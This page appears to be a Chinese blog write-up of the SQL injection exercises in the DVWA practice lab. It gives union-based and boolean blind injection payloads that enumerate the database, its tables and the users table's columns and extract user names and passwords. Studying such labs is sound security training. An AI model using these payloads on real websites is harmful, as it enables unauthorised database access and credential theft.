| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 大数据 -> DVWA靶场 -> 正文阅读 |
|
[大数据]DVWA靶场 |
1.sql注入一般流程: 1)判断注入点:即判断是否存在sql注入,通常在参数后面加单引号,万能密码 2)判断查询的字段数 :order by 数字(数字从小到大,看是否报错) 3)确定回显位 4)获取信息函数: user() 获取当前用户用户 database() 获取当前数据库 version() 获取数据库版本 5)获取数据库名:1’ union select version(),database()# 6)获取表名: 1‘union select 1,table_name from information_schema.tables where table_schema='刚查库表名' 7)获取列名:1’union select1,column_name from information_schema.columns where table_name='刚查询表名‘# 8)获取数据:1‘union select 指定列名,from 表名 一.SQL injection(low):
?1、判断注入点:试试万能密码,有回显,说明存在注入点 ?2、查询字段数,依次列举猜测,直到order by 3才报错,说明只有两个字段 3.查看数据库信息
4、查看dvwa此数据库中表名 输入
会发现下列字样,我也不知道为什么?????查了一下在from前面加上下列代码就可以了
爆出了两个表名,分别查询两个表明,我们可以从表中查找列的信息 ?5、查询列信息:users表中的所有列信息爆出,看到了password,user 6.查看password里面信息 ? ?二.一.SQL injection(medium): 与low相比,medium多了下列代码,对单引号进行了转义,可以一定程度防止sql注入,而且输入处是下拉菜单,所以只有抓包修改参数,步骤大致和low差不多
1.看注入方式:显然是数字注入,所以单引号对id=1的注入无影响,只是对后面在特定表中查找会产生影响 ? ?2、查询当前数据库 ?3.查看当前数据库里面的表 4.查询表中的列名,想办法绕过单引号,把字符串转化为16进制 ? ? ?5.查看数据,爆出了用户名和相应密码 盲注分为两类:
?布尔盲注流程: 1)判断数据库名的长度
2)猜测数据库名(使用ascii码来依次判断)
3)猜测表名
4)猜测字段名(列名):这里数字一般取105,对应字母为i(id)
5)猜测字段内容
时间盲注流程: 1)猜测数据库名称长度 eg:
2)猜测数据库名称的第一个字符 eg:
3)猜测数据库表名:先猜测长度 ?三、SQL injection(blind) low 1)判断注入类型:比较之后容易得到是字符型注入 ? ?2)判断数据库长度:尝试大于5报错后,范围就变得很小,可以依次试=4 ? =3………………发现length=4时报对,说明当前数据库长度为4 ?3)判断数据库名称(4个字母,依次尝试)注:A-Z(65-90)???? a-z(97-122),语法见下列过程 显然库名第一个字母ascii码值为100-d,同理得出[database(),2,1],[database(),3,1],[database(),4,1]d的值,就可以知道当前数据库名了 ?4)判断数据库的表名(先猜表个数,再猜表名),猜到2范围就很小了,依次往后减,发现猜个数为2报对,语法见例子 ?猜解表名:(表长度->表名) 经过一系列尝试,得出dvwa靶场的第一个表名长度为9, 103-g 用同样方法查看第二个表的长度 ,一系列尝试,表长度为5 ?猜解表名117-u,这样依次猜出第二个表的名称-users ?猜解列名(个数->列名),经过一系列尝试,直接演示正确答案 1' and(select count(*) from information_schema.columns where table_schema=database() and table_name='users')=8 #,users表中有8个列 列名:1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1)=number #猜users表中第一列的列名长度,依次查2,3列列长……
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1)=number #猜users表中第二列的列名的第一位字符,依次查2,3位字符是什么 经过n多次尝试,得出所有列名:user_id,first_name,last_name,user,password,avatar,last_login,failed_login 猜解用户名:1‘ and (ascii(substr((select user from users limit 0,1),1,1)))=num #依次查(2,1),(3,1)……得出结果为admin ?上述省略n多步 ? ? ? |
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/24 12:53:16- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |